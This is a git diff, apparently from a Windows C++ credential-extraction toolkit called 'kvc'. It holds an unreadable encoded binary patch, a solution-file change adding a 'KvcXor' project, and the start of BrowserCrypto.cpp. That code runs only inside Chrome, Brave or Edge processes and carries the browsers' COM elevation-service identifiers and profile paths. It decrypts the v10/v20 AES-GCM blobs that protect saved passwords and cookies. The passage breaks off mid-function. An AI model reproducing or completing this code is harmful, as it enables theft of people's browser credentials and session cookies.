zo5Hi~$i^d0;Vm0o7(J?V+cJhd9F&bOOwpb6J)M9SN{F!GCZ_s;mcvBDaB^%=^r=2$ zjssTWUOl@aD&jK#n37nbYrBxyokiT=_p*$i##FJPcjVO5ZcDHJj3Q*p$~Y!Q7kCVccV<&N3(xzv{zy=TKjsK3{0z`kIR{a4Ijn?3WJn|z$1`V;j4Hi zTbGjs=%}D$FiZW+M8HCLJa90zAlVT#Uejc-t8U$)5x3DfvndSs(n#|Rik)~d8oykM zeEDfc<`DFQmH*g??z*Q*NI6*0so!)>ADlE};f0d<<~_5YFqrG8cYucRLEWCy@k#OH z*HX^>5$y_JR&wlRw6DD(_v>I0x9!)nHlq58X7zI-6E}eub<15yd&Km#KW8Tf${wFNshy%3OWCddnAb73@(ndSyVbp5Eg&&rE7oT$ zwl3`K%5C-(O!z8Uld`-9$%U)TZE$?l+ia^Hdp;oKQG-u|+cxb_9ZC25%g5`pNtGEydTPis=BzXba{>v0f_7K3`1V_D^6rr?U>(oZRi zcAADM9UVhh`y%k&&xuyS{9!68<|Q|qwWxO5!J+6!!SimjL|WiYf_&*W^5J_feJrNz zwfi7+<(eW!;0Id)hMuN>jVN0Ug?Pb)Et_=i)~?LaB-u-G(NgD-wpJ8apw*V#2~QYG zLaxUrU?9OokKt|Y*j4(Fk^0V+_syPkRp%2nugc{)_((x{yJAkSXH)Zin6-OTQ5Dc5 zxSh<8YTd>(xd`ewTs77gEE8Y|G5%U%pw*+H-k)nfsz-;0P|)9-dSQtu;-JeBV1B!u z2}n{c>W*e8e=PkqIDH0nXF(+b8s1FD{{>mLG2(p8ca+W>zYTw7_d$rOXZ(z?%}!_U z(%JRaLblk9Su2gNN&QZFS%0Gu2ievC%9e{-5hcr+ZukI<3+M#uz3b^$=-Ep)C++T@ zMN~eip<9mGA^2@3$8Y0#GEx26mh8GKzO-b1+!m653ryZ+nY`F;n8~6=rMLvE+4Wx& ztQm}ndvPY5sbck+)JxezNQomIA9a_bo-8-n#i3RCw89E>L}-k zJRQ94V?Y|A(SoCe#qKzyk@k6Jeus9}w)gqI{Q^YE1ysj=&fJ^iI>JI_E+ll5IzN;J?$`IJr+@<4;K0^N)*zMYA z8vi*-&y5k~(X<8_EDxn5Sl0BYbzxxMsF4>p?oD8LAec}A#J2O7ms9TE#kewesyY6` z=3S7+Pd7X~LR;nNlI}Fy)K@6;@j)EZSv#bHq zip=b8Ht7ooW=`Vl&vX8*wH=)cv2MQrkaICal{D2Hda{;dIX^1Z`~U^!56zy1+-hx` zaLLL~mTG}z3%Siew%F|Fa77{(wE+L}Q4VkLWUdfKejc;nJf_01#1tlwumohUliRw$elIn}xc5Qf|o+P9n{> zRa@$usqHL(mUc50gr#>7a<%!Dcl;h8nN_3ZdnfyzheKB`^CKEQC|LHszh^WqFV&Ba zQb9d7_2}S-?2HNxBmTkxa?Q7G<_IgkM*NXbF0`_}E$PYNc=3A}Mbri3A;=de=tfeU zD9?o68_&(J@(oaU+8><5!5Tqt3DO~KBwVFMZCBTN#p<5bt_{pa}oUt#*k24`;S(d;_xN)424i*%YnldqzMvf! z&Bo@&#s(W}n`ml|BVRG{#BCYX5p%F#XAG+htMg++IWibBI5s0=&oVwqxj6S8L)6XkNR0G*@e>hMUBy8ysZlVND+Q(T~^k2nq;U(VymncRSm z+lz1uHq{k%WD!TR0>npbG|dea6gbVZSoFOif8^!6A_9|Px^L3*?*$LFvI8hj@NM2) z3S7@#Ogwu1G&)5p9*xpnjZ3{q_fWj&oH#z{+HfJGwvKm^u5&EuzIl+J>9J z2=}$qmL%J1;Y+0^fPW1HGj~LbWB9wRdvPy|>qhL9-MS*LYw3n8PkXnhaEeD^3kDYjdp4ZG^%;=W~9J=nt$6)c#n%_RL}V8&JEPfiuUPYd%6F-9D4kLta*PfhjA_5>F;D59SEdOS^&G-*ZAKy;w+8K8K3St?fA4Tuk_u^ViN~(_IES zc#5Cy`yOaNL$wo7lFJZyo>@{fR_B)p(b#3c+?H)7hkRl+<$;qKi}nF`UR-;<)=_i zV*I%4s_gs=@aoo9+UWe|_tjr&qM%|CQUMH{!faOT`vpjJ$tTdVY z9~5hQD}J}!j{|}nOiY#VaVN>5mH9r0UAvEMNuw}PUyc}x2)q!voDoeh`g4Y~sXiyS zb-W_0mq08Ke2*rFCo2!|1jCNVhs{U&1RnuvI|`e7X4(`~D6Q2psT*DqY|PjDRdHY@ zT5efK`qu7}-*eesyZ2UAAZq@6mbCUVH9KWGFAP8y%pwk!6wZz8G#1@Dlz+5#U~Z&y zOcCR}i}#%QK_t6HuNIJfv_uffM_)moc{k*IkmRwnU zwW-*VZB#HmE`{4}tkx45twT3TE1dlDH8py;?{9qg2TbRcGHH}&o3ztkj~y=RkBUbE zs0Yq>gt(uSfY3cTmVW`Nrc$9C7Uh*>DD7%_r*9v+dX7Xh(mfZrfHZ*xgt2Dj3P+cE z2__z7uXHNg1f1?OOV4y0#-^+wG0b&eTh<}^LWq~EOGudU>qXDP=TH}Og%4fJ_BwMq z5C4ZV+VLUF4VfPn>9eHSYzAag{lYib&>_$rIdubcj7*erd(ZT}p6hnc#LNX;SqBG< zM-CrQ6$mB!_ac-8nGu=C3OMiw-+lh)CufSNmBBFFf2>$~a4o8GNWn7BqDC*UrIuZ^!ehwQk&u4xYjaf{<;>$- zUM6SyCmvGIKJp50CZdZCR5n12C{C07Cj;9o2GQ{DKeYwqPYv63ooo zCPWh3T`&z05_!-&?rZeU6N|lY{05Y_H_AG?JZ!D_prZ!FEl+ObHXuj4U*+~4HB^AYW~ z0>M7MB*lm_nO%hWa9n#1k%0ZxRtlj24}%#ljkj_|$G@Eo|DilzKCY%F;`ow41!X>CISJk$?}lpu@AxAI6+qx zUx67J-6hzkRJqlJFI1%Hk|TTn#jt=tMBe9|mhP9?%7 zYjK%sizUZ%>`c=rrtX`wT`pREd6hzQN&Ri=7Xa;{+pP;+GN8VZUmK!CCZ^d$Zr^_S zKJSi&%`fcVLwODj?!+*g^D0#qixCXT&&I(KdAk2TJ>%`jh{(FsSR7&~Xk-(=CG-`# zqbp`-WAitgbiUKYW}pb5qP#UxOG2W&)(v*+4a!u zl_Vk#lGfv&Ry@cZfvFIoeHH=&9uLqQ5}HZ^g`0Qca(M(!#&E9Rq) z=h7!G=TE(V{8!?2RM=pF8_zjnHAgoTKx&m#qz29L<~M`fLYp(*)p;k@lARy*UvD&1 zY&42goHTD=rFCvYDtmj=?bcMC#$3^e(&IH}X`G*Jz)^Bu5FCO3f1UY>{^9e3(XJ4W zx2gGauM&xOm-xXXPgS7V7c?t89wivxxH*Y16|^7G>w#mFsG!Y~wrl$wZMSBIjQmvT z=>av})?Z=^p1KveV{1GC^wDI*I&T7*pKdtLT7#rQOGC5{N7M3{3$c-H9M%Gp`1VDG zeM6j=P=jRG2J8;p!~+`+kUQw-ucBc~yL+mndKP27y2Us$J1Pe*>mY0OSm`<~V8r~y z&*_3WlZ`78=t)lc0h5K)QNtOo#)Kv7@n;whN(qia(4h< z1{EZ$V>$G8#F=6-2cbm!OfbRHTrZbBZ5rrl3i(NE@N6%+y0Xu8FJ9T~Li-_`h`1bv z^I7P}HG;Yh7muTXmq5O#8UlNlFORkFfu;S{wv}?bv)|h4Hd{0X1d;@)^RpS&%z7vA zZP6%C?X;HJuFcxgn3e^L3Lkmj`N1T1TC1x3CK1evG8-IPQJACjPG{8`kEx@xY{C(hd2_+4<)zqUau{N!2 zD84=xD1;4pg&dLZ?}(CZjPNF1GG15~Mld?h zfy%)Ej%t5sa&S6Iz3jtrb^pkr=E6}Yea-32=oIhgvc=&_F|V6d`>Wb*>*aDndbXzP z_!v+-6ouONf<`cByjT(Wu}0-(O7hquy|vcpckAi%X4%xZjOT&A|y0rtTlJV1v$O- z-MJWZLlF58gPN7$)Zgw=U1(XB%l86CP<>2E^PVd*+gr$NcAs3Xw;nb8CBj`MHt%gfVY>cVJ8PDFJBhmfQ@y!+@TVxYaFaVKjRW4F$dnE$nECZY zHG189ij{55OtTayFtC6qM`1RiW`Ev@d0B9}{#x=ZXKL)MXNA27hD06NO;p&yLFspR zimvS`%8#0=a%yf2#53zzsJ{HnJ?R4eF3&ZqUUf9(43!YakUPDKTcl&9G*00BkA)UJ?1i7S?=FByzRv%=HM%Q7oO9L@Et zXQ7zPQviE!FRESoUm|4v9q}|cJtMYo=h#&kr-+Ok`z}$^{yr;jEE9!*BvU zLo|eyHC>#`>PU?jj?cuY!2G?$hfPxw;blH0Q#-)6D0L+8xs zG10*CkFrO1V0!vQcT@^te{3udJ7vGZ_IDn3dcEssis7tN#(P)OMJLUI0Q5o-nX#T4 zB`HlWiCs|+T|y1ag<=1uLbYyXUtleL>kKKRb!GBfqjE5|$S(lXOczJl$untwhyo#i z3tP<}80;?pFu22eVg;-`urwCzi94(l#v~N(BI?OryDo<$bDJBVa^#ERJ|T-3vumjv zbrm!vBzjo8LNE8GE`fbZ3FQ!j{_F~=Fc^o~44bLRd)&S~2YWH-cGhLg`(GB;N=pUYg1Ir0XYi-f^5ex3EtQVoYyj?XH^J6VGmUwJ**gWid2q>Xtv9 zK;9xaylN<6?N1Ql%7HV!W@mcazMhckj7_%|ZMba?9BuKIPkET5@Sg9f1KPGQ64Q@IDMx4W zG~cOI17Gk6oqk%&&OwVcH#5j@xgj2%(8fl7Rit*sjosM1(MuScnd&t?FHcF0y8G-d zAiu&_&SWbs(RRlr<*crc9p*AGYL#VfmQmp(C1cvgkJ4)A)1^okoSyJVTUAGJ)B|@V= zCefSSh^Q~Qll|oSEL9&u`HdGa_#A{`84Yr`ueRiHQ^m?ww;_HT9dmtsQ!gz_Aj9N} z0C}u;E$D>Ab3Jt6&we&m^QWR-R3J_I^pz2%S0Jg82OL>rbqRD}4;1q-yeg8WkHE`tX!h*Wu)8U9nzJoKpkC z?o4mZoY*x@Z6?|1-rOShTO&tL#9W5?#<-v`Txx?L=< zY><@FLCao`1(VDd^NdCQ@$GG@ZQwBZ0pHidP%toUm+`;qi1R`AJZVI6>zuOyM2_F! zkT|lf-WXh6?01P03`r(cCWOAv{|1DD;=fEYDD&XWsWE(3)Z#16UjVrseJ zF`f1-zzr79$8gNieL<{L*~miUE?JrlmOa*Qqu7Zjzjjen?xUm#q}vV50ev~0e-`1? zMTx7MzWEYKttH#es%5mIqa2;XNM){>V2*Z(*-oKEfa!X|e;txDe6PW1JN!hQ#3OS|3F&+`%*^d&~tY|<|~Ia5ql z^4E5Hfez)=LwPu$f6TVCeKV1#$&_c`RaM3vbJ=IQimaD;n-bAEREAK6Ir=pfB1L@rLB zr6dU~THRE5UfP^Z&`ku;?$+a3jD!jmH}k$i^tySC%IHF+rAxU&*FRZ~B1nuTU|C=6YMP|Y2ckTp0US> z{Mufs6H;w_a!hd!&{l5@otM-8Dls3i;u|}(S^9|id)o^ZwpXcPwjc?8m-!Q%#*DVs zdlzYL|4@%`a7#52NW|{g@qpBxhv!w(bz0yU{mmt%CeA`0wUQxlf_b{ z^qgc-8_eNplwz6T98<7;3LA&M+vUgmJl;t|?cP#jbKGZTY-7wUC-v$8oCoBp_j_lK zrJt%CTLMebwtDvG(B~?({_%MVoSkJb7$IIa0*Ariq%A&15D)VJdYmC)y73FPUK&j4 z_$S%;gwL+@Q+%9ZTTwf;>!CiGvxb8rjqAOH5sOx<{?G;(-$W52T9l_p5X11`hDGm6 zxxk0@*lE5&>Gm1gvRAnBB=<6^1V503eXO@U$=}7q)+Kl`3-K6nIMtXb^%gU$y@fPp zIQ$omaB}Ad!>YX<*o98so>`fRjUISa{Q}^1-(J=tV2_PA1Y=0N{arbFOBOJ{{@w0j zM=z34#Q5eO0xYvq=!Q3>zcb2Hr;4=XbnjhE)XC#G^~);>ws91d)z|?`mvVfi4{5$z zb=I7l6ucNWbpFcXU7OSfLX%Sqz4w&?UO^rls_I3bDJ$z{*8*kL-I|D-qCxy9rZK%U zDxOj2t=lyHJtM1M-+HEv%=u1=r9>6vD95#49iVs4!&Xlnt$@k)E}DRPdv3OF?W<*T@%UZ4&CCcpH`HH>`0sWIsus}_SQr`@DV;O*@zg#Ns8IE zy*tQL##0lkool$x=BW4pLBg)?>$IA9 zNSO6N_sZCkwdG;Z3=JdyZvl3c`|FU;e!V_pE8)1k=q9bU{HVh@>JgN(`dSema71dc zX4gIYJ+6U-6u;rO6wSETK4<3h)pHqX;N8-d=!rL-HCvAkw1LTL ztJ^;DG=&nEbbfSSXCLG4p0U)r&CGJRrd4}wUJpd)|0I2>|3(@GIg z#_VLAm_BztOYE)pt*AS>&oT+a>Qiu_P?0Zj1wpt*?vgyMUdQ`wUe%J1LoCO~{M2%Z zD`QWSG-}vbBu(WpK@Rkr3lXUy8NIwkbM{M~btPlFXMq7%b(gF=e_%)Kp_$l7q!3DI zJ-u7OZ2X%h}8a;X)VepzFN;J44M4BEOZA7 z^;Md*Sq+gC*{8XOf1J}VTWYWi+1hfytjev{qA%B zT=|I4*+bJAcoh=a3Kv|YN%|z3beO^g7q!roIhz0ytz57;KSuAu^%g#l0#2#4_f!8@ zblaB^ncNF6$0orhx4G;0OBhE@E!>^W+(o{I1vpmV#m8NO4B? zN7L@t5AK}{9wQQ04FB;xJBwQk>L1W_i(9Bsq%&Nsl;Wui6pTM02*gpnvdNrA?%?e5 z$$w@qF1Qaj-#JL2CLa>+ec?UU3?{s1j4CfDN2f&toL)Pqz{=(M1OSt)dEos48wE0R0#_cwY-$^h zpl@*phuROZ_nysI6$Ug^Y3-g)R9U%PATIS!9<@7lcBgs&%B%4fvwLkKt`Ho@}FzX@=lUS#W^&XjW4f?Y!-zp(g$zI zHQaSO!d5>?lb8)pMgfT;eT=azvvFoyv-iM#)Chh-koix`&0@{X?GjlZK%sav5x)Q; zI{&25eI!*CMB(l42jTvu@4lp4Ed`aK^os7O&X zHup6Wi-YLMz(OHS`&itj8S!ODHm7m1m`x3ZxV8*g%xEt=`hCqK6CMlu{2nFRxe!0# zRM(M@&j!OqV37i%wNLJeG>U(n*KBd3Nf3qJ%G|BsF|w|xa2LpGaTg7Fl<}WcB=H=x@`7nXEXwr`(3Le# z+0mkalabycJZW%q78DCf416!Jgiaaf71L9K7%=HZhUS><+`Nd6ofgga6^zqoDSjZ#<|bmbQH>(2m^?A zSmot`GtuY=6-EeQbgPJ(jxHux94ohi14UG2XvG~qtEN@P{#~Ukz`$3 z>SiC5cq^$Y?x=P7VM`Kc%G0H*$rx8=I9~ui9G%zT{W%Ai5I~5jOuQtIUVD)(VZt{X zB#)g$m^Ww9mi`KJP9Vu6Pk$n?E$hz;BJzi-#Mx_x*{p*y|B$1RhDY5isiXVMK>F;$s=Z5J$-ESNAed>g=Y zdgL0B7vaj%`-CH*cFzh9zHLbo(^P955bBa;-XwoNAe{c+k@Ff8i^QV|otFML8zpKJmKN9q*0#(TKQT zSID&iiX-UNO?aS8mwgaTT)I!KxD(a(bIRzTLYQ;?K0sw}K$nAu^YqmM#=TZp8FK0! zWPP&}#JxNTusI z;sAeQx8ys|6^~IQXXDNI77P)`s}QF3a>x@WlXQE&uTRJ9ec7$3owwHA%;xciKm|EJ z>D7(+1;}WKtW*d6gQv#@)q|eQcXj0d5j2!?RqzBFn}A+CF@vS5x&NJM@`9!Q%Hb=e z)l(s!rv-2<<0BOqLmgfV{kRJi+BlZ2^*tbHEK6UmX@J_-zC4IJ_-$6u+tYwh#-b-( zR6qdONpN|)+T_uoO7=W;WuS7qT6A^nj+=KArt#|hU3GKf0~=U1g^}GF+^F&;BHXKZ zR5B}zjGo}g8UNIF;P->qO3fH~s`irLQjLDH#ZIN+JSuvlTgfnymmkoxt~E;fa^~f( zr?j^+bm#1>nWPuH5^~rX<6O}XS?DS7*~3VAdIjDvxjJ4<V@sc-mfQ;MgoSV!Ck&LVRW0pu-s1?_i~oCin$s_`RO7&xNDCf6`*< zA^aDscSvpqH^t3}lgpHH?;nQ0@bE6rPZ>MYI*62tL)8nL+rgzV+$^MjNOc#?QL4+Odq!0f3VLFDxTa$ zhF-cur`v~cKLrmxY5ytc!EA%vc0YM$!^2%({*E?6@xL6+Tts)v4#Lytf`^PO6j0#f z&E9_NEf8X_vDdTE!hMG(vM}~7-zZBJkP&2Y{GI_HLm})m-4|8-7Pk=-fhEWtfPOF= znK97Dryj^<{v3mTb+gj=<-3iFZ_IR-K&YKBW-M)W%^If{H;gP zh^`wxNW-R9*Ed7y1@i=7_8`}&p5sbGVV1eaQ*HFw(;_w-)OpzJa%4g zBSiO1`wIiBEdmy->md)oR?hg;H8FdBm<@zB8$BD#!wySJvsT4-&?r^&8=PM8ohAq; zDFuJ5b_d00XCMGhH@}>4hkF~Vl5vjF)K24MK4HL?-84x;xmSAnX+@XZAu04N>X$3g z)Hlh2YvOmu7*<|^sxIel^LoyanODtCm;^2dFLRkL0CHyzzU1FG3aJtSQ|THiLO`VS zshx)Ki#r#|U`xcJtsDFhJw=1 zDu$a7MqBDT*xzG@pW?Cr?DvVH8p37GMuO@nm7$57Y>)qaU|~$@)57+&{h(cue#qwy z$>**`#fa8_t3Bl=mUiddt2y1M(@Ia}cs!kw{kB9Ilhk`}vj*>uj@=)Kl3Tp_aMLfQ z58O|Dd$arJE*eHOEFDZjx59@UjSFhqJ>7`uca|#T6b}J$yGyscs)+U^+NVM%x?t*E zd3~yMbmQF%`|Kv4CPoQc%DTp?PsVJu{7>@7*{~cnWnsM3B8|2Z9Z#=2P3YXmP+OJSW z-WpDHb7(NqJqVm-KgRk$S=?HrY*;>CtYgd1oqMiftnqa8lDI>IVwOeS^Hop^F-#PL zl7>7`V`Ea|HZe@q5=SXBWI4~WNEYn>Fhp}TFOx4D(-sNU0(b}@?^^F*d=MtAJX1=y zy&o$y@{xWlW4g?>FrutxbGb|tEytzMt|;XdJ-C~M`tBd(px&0n#|?}G zq5Et3xhI;Fg|Sdw2Xu>oCFH@V&jBxAN&m1o>W%iqjl{?6GGoWg91Osapn#D(Efi<} zGmo0*#8*R#vP~hKS5)PDTUU+)Se~LBzJeK={!|A13dL>KbiiU@O@Ly$a^YjJHF1C# zDX6SmIt%F|r4rxjqw0+={qVitYOrGHzZ&ptT7%-vRnrORn;3;VlJ%lRi6fYGq-cTf zPV4!uH}{>I7{DMd%@msgjTh6x1kOuE@i z+{cF#SoBe*fG8Oba6^cyQR!>|8%zCh#sqRs8=A^&U~SZpDX%Mi9k7E7DAVuPX>R*N zyLO3?D4B0xyh`~CRQO(n+Fzz5*A%x!m#5^7z2d_MYZB@{XBv1k`rs=c=5v~eJgu?b z0&M9e;veD5!yzhx_=gwzEj1N$Lkg1*-xIVZ3AvlX>rOgP*oD=~T`8p2u2a{WV_mZl zn#-2K)O<%W^t|CgKFHy>o-;^Hl-%D2pKp4h(>bD2!X}mj;--%0CGs|H=LDW8Rp7Wi zA(@Lxb?%UohGu}{HnjN`0tbEp7}j2Xx%s3qM#avQC-+zlIgoBFVMS*i#1>MQ{lDm5 z9tD4ysaU2c@cQPx=$LFCT8V2&q6fS3zj+Vmq>-}Wt6db1Xws>)WQJPk_I)#>3_E>| zPP$M?jZ@Km(fT5E;yJ%aO_z__8rt}koiODalCRV1mg3J3;4HCI_-$nYkThmHgi~{< z!*J$Gb|yFZ5h4Nk2r1B`^?!58uKfGV8p~^RItYK-&6^skj2GOvkI0>}gYG~?%uY)F zI=^9)826JST*^dHtg-sdQZSDd-NAFlVpZmRXBI2<-M7x}^NCl(f%08+)t4m-GB{l4 zXwEcniC8eL3z#4I%+)jKKW%D$0R{|P{-9jb9cy@x znNZFwJ}%k%(VUMw@cNeR9s(7e{n`r|W$Ao32e`TG4#qb#I=^rOwtH4aPfG1Pwa+Ks z|82C=ii?c^rN4K6-KOz&gX9URN4n>EamAl|Dx;@}n_ITu)<0SVj|Akr(12#0?MNt; zaFmsDGflomSL_e>7f3ORm@dg%j~N}33}sc+)GvUt72(QBMwWH7xnH->PakxoAHHo-Fr3# z2^7mvdv=F`$9Sa6>YH<1N+H9?4IebuL2-<@Ws1bDm+x6C6@0S+4DDb1ebJ_Ka_*BB zX)cI+&*wv~G+~JNKlL|eCue+O$07;Ux7be)u6J%Pcm6g8k@xVfodIVcizY*l5}GFN zza6QZ^EH(&an}^6erTh%$o5WU(9D@*DPf5V6rU;&#Bx(<4sLcvWeax_WGH3nX0@hc zZ2OFkIjd{^L|BJm@2Dv3uF0P-DUs=a4y2OAS#&-`nMg;a*s?LI-+6E%3WLJtkM$^@ zc1-*SU1K!y57M2-H=?hHby5WLkRN|0hrK30BR(o@4hUvuQQWoxheVv$Hn(jQJW@}O zBhORP&(A4V%M2lHu1(jli=Jz%?-ec;Hi|MOH63PO4m;g24cq?2rJ<$CvsxVxcULnR zk*C#W``sfhMlDOxH#Zs#wC)*WFsd@<5?UX6KiB{8Dwp8ALDR;`#f=W9s@$tL_q@D) zDic5Y?WC#n&Kx4R=k-38#5-#uGz|H0qJ4t|)b$+Cxu`f8{NF-6F| zbcbujZvJQt6joA^S$2tDtZww8s|L@bL*0x%Ws9}DQ3G00mr$3hy zT;Mt;pa01`?Ej~q2x-I3Z&A7^0?03FEryn=DZ6$x@)Pv{W+BKc5$CraJD^Q+XYwZr zYDGtJDjx_OC><`oI)D=*p6sB3m1mK&k*fG>KVMoveWz8SOf@ICSp}M}WewC~w;);! zOq}4^CJK8xfh;9{e@1ZtJ4wo<6<2=ZoB09^&X#Z!GMZ_Ms{q@>Iy(xR#pQu#?&qTo zY^tH74P}Ckl=?bRsQi8?wU;=9jf4WL@?w0dN6Q-1<`G6$Fp41_weiPcfst>tx)>k~UOGx61PAa9lX(V;gMb zm35Ynq3c(F(Lt+0Ulpi97jp(ACNc z>GI0`0?Ekgz{bt2bTJP~;}}`MS`Ob3Uzs%HqQ|GT689Iig94rLt*w#x$>5_ITw4uI zQ9gc74S*pWIHeXoN9z>6-jO8ct`x>3>l5iJfoT`qf3TA3*m_{an;&d@cKMuX7IN>; zR@H4~!}sONBU#>^#jk_kxUTm)(dM69!>HwZAO8Z7RO_0*-Se?K4A7}>A^H0(%fAmM zf)9rW4cEh~d#A4L9T$}$!i&{(R@J^XXk)J^Z%NdZEM_%4r^?>1o`1K;U{UUg}11|-xvt(_y+c|&ROdzsu{68o~pMM%O(8|$#a@~n^-6kV*Suu2m=DrjRPC??NDv;F(ugZqtf7>0-|M<0(gs+1mSzcw;i)h&>V{$N*d}|H#1AYCuxqPh5dNzPzT{K+=d{SMo|~*h zW{LFBcjA|hMXR}^n6D4P{P6z&y#6dW8>1C@A+n#Ou*=dwEA1IB`;(r4ls05NZ?tuT zFiOYVj1=aJgJK&VZeU7g?7i2+%4NgF#Fk#}PG9GanS&qOL7rh)Uyf$x@##MLc8!WP zv#d^Zrw@4y{434}DAt?*b&^NPB&_CXH@f-|t~rg8rf|(C{}+a8GV8AxuKH5I8qfI` z^a=b%BsrhAc*7l-W49xSEBoy(v^?%>0c)c!TI2d*jr$R z9h9OE&Ti3}j*J96n+o)}o5UZ%_@50D-tDk1lk6D#Eu_OW$<&|BQ$GAdhXtbl=HHS2 Hn)-hLqvn9o literal 0 HcmV?d00001 diff --git a/kvc.sln b/kvc.sln index 10fee70..1bee18c 100644 --- a/kvc.sln +++ b/kvc.sln @@ -9,6 +9,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc_crypt", "kvc\kvc_crypt. EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc_pass", "kvc\kvc_pass.vcxproj", "{12345678-1234-1234-1234-123456789ABC}" EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "KvcXor", "kvc\KvcXor.vcxproj", "{A905154D-F1EC-4821-9717-9F6D35F69F3F}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Release|x64 = Release|x64 @@ -20,6 +22,8 @@ Global {87654321-4321-4321-4321-123456789DEF}.Release|x64.Build.0 = Release|x64 {12345678-1234-1234-1234-123456789ABC}.Release|x64.ActiveCfg = Release|x64 {12345678-1234-1234-1234-123456789ABC}.Release|x64.Build.0 = Release|x64 + {A905154D-F1EC-4821-9717-9F6D35F69F3F}.Release|x64.ActiveCfg = Release|x64 + {A905154D-F1EC-4821-9717-9F6D35F69F3F}.Release|x64.Build.0 = Release|x64 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/kvc/BrowserCrypto.cpp b/kvc/BrowserCrypto.cpp new file mode 100644 index 0000000..5878c8b --- /dev/null +++ b/kvc/BrowserCrypto.cpp @@ -0,0 +1,397 @@ +// BrowserCrypto.cpp - Browser-specific cryptographic operations +// Implements selective COM/DPAPI strategy based on browser and data type +#include "BrowserCrypto.h" +#include "CommunicationModule.h" +#include +#include +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "bcrypt.lib") +#pragma comment(lib, "Crypt32.lib") +#pragma comment(lib, "ole32.lib") +#pragma comment(lib, "shell32.lib") + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +namespace SecurityComponents +{ + namespace Browser + { + // Browser-specific configuration database + // Contains COM CLSIDs, IIDs, and file paths for each supported browser + const std::unordered_map& GetConfigs() + { + static const std::unordered_map browser_configs = { + {"chrome", {"Chrome", L"chrome.exe", + {0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}}, + {0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}}, + fs::path("Google") / "Chrome" / "User Data"}}, + {"brave", {"Brave", L"brave.exe", + {0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}}, + {0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}}, + fs::path("BraveSoftware") / "Brave-Browser" / "User Data"}}, + {"edge", {"Edge", L"msedge.exe", + {0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}}, + {0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}}, + fs::path("Microsoft") / "Edge" / "User Data"}} + }; + return browser_configs; + } + + // Determines browser configuration based on current process executable name + Config GetConfigForCurrentProcess() + { + char exePath[MAX_PATH] = {0}; + GetModuleFileNameA(NULL, exePath, MAX_PATH); + std::string processName = fs::path(exePath).filename().string(); + std::transform(processName.begin(), processName.end(), processName.begin(), ::tolower); + + const auto& configs = GetConfigs(); + if (processName == "chrome.exe") return configs.at("chrome"); + if (processName == "brave.exe") return configs.at("brave"); + if (processName == "msedge.exe") return configs.at("edge"); + + throw std::runtime_error("Unsupported host process: " + processName); + } + } + + namespace Crypto + { + // Encryption scheme identifier prefixes + const uint8_t CHROME_KEY_PREFIX[] = {'A', 'P', 'P', 'B'}; + const uint8_t EDGE_KEY_PREFIX[] = {'D', 'P', 'A', 'P', 'I'}; + const std::string V10_PREFIX = "v10"; + const std::string V20_PREFIX = "v20"; + + // RAII wrapper for BCrypt algorithm handle + class BCryptAlgorithm + { + public: + BCryptAlgorithm() { + BCryptOpenAlgorithmProvider(&handle, BCRYPT_AES_ALGORITHM, nullptr, 0); + } + ~BCryptAlgorithm() { + if (handle) BCryptCloseAlgorithmProvider(handle, 0); + } + operator BCRYPT_ALG_HANDLE() const { return handle; } + bool IsValid() const { return handle != nullptr; } + + private: + BCRYPT_ALG_HANDLE handle = nullptr; + }; + + // RAII wrapper for BCrypt key handle + class BCryptKey + { + public: + BCryptKey(BCRYPT_ALG_HANDLE alg, const std::vector& key) + { + BCryptGenerateSymmetricKey(alg, &handle, nullptr, 0, + const_cast(key.data()), + static_cast(key.size()), 0); + } + ~BCryptKey() { + if (handle) BCryptDestroyKey(handle); + } + operator BCRYPT_KEY_HANDLE() const { return handle; } + bool IsValid() const { return handle != nullptr; } + + private: + BCRYPT_KEY_HANDLE handle = nullptr; + }; + + // Decrypts AES-GCM encrypted data using provided key + // Supports both v10 and v20 encryption schemes + std::vector DecryptGcm(const std::vector& key, const std::vector& blob) + { + std::string detectedPrefix; + size_t prefixLength = 0; + + // Detect encryption scheme version + if (blob.size() >= 3) + { + if (memcmp(blob.data(), V10_PREFIX.c_str(), V10_PREFIX.length()) == 0) + { + detectedPrefix = V10_PREFIX; + prefixLength = V10_PREFIX.length(); + } + else if (memcmp(blob.data(), V20_PREFIX.c_str(), V20_PREFIX.length()) == 0) + { + detectedPrefix = V20_PREFIX; + prefixLength = V20_PREFIX.length(); + } + else + { + return {}; + } + } + else + { + return {}; + } + + // Validate blob size + const size_t GCM_OVERHEAD_LENGTH = prefixLength + GCM_IV_LENGTH + GCM_TAG_LENGTH; + if (blob.size() < GCM_OVERHEAD_LENGTH) + return {}; + + // Initialize AES-GCM decryption + BCryptAlgorithm algorithm; + if (!algorithm.IsValid()) + return {}; + + BCryptSetProperty(algorithm, BCRYPT_CHAINING_MODE, + reinterpret_cast(const_cast(BCRYPT_CHAIN_MODE_GCM)), + sizeof(BCRYPT_CHAIN_MODE_GCM), 0); + + BCryptKey cryptoKey(algorithm, key); + if (!cryptoKey.IsValid()) + return {}; + + // Extract IV, ciphertext, and authentication tag + const uint8_t* iv = blob.data() + prefixLength; + const uint8_t* ct = iv + GCM_IV_LENGTH; + const uint8_t* tag = blob.data() + (blob.size() - GCM_TAG_LENGTH); + ULONG ct_len = static_cast(blob.size() - prefixLength - GCM_IV_LENGTH - GCM_TAG_LENGTH); + + // Configure authenticated cipher mode + BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo; 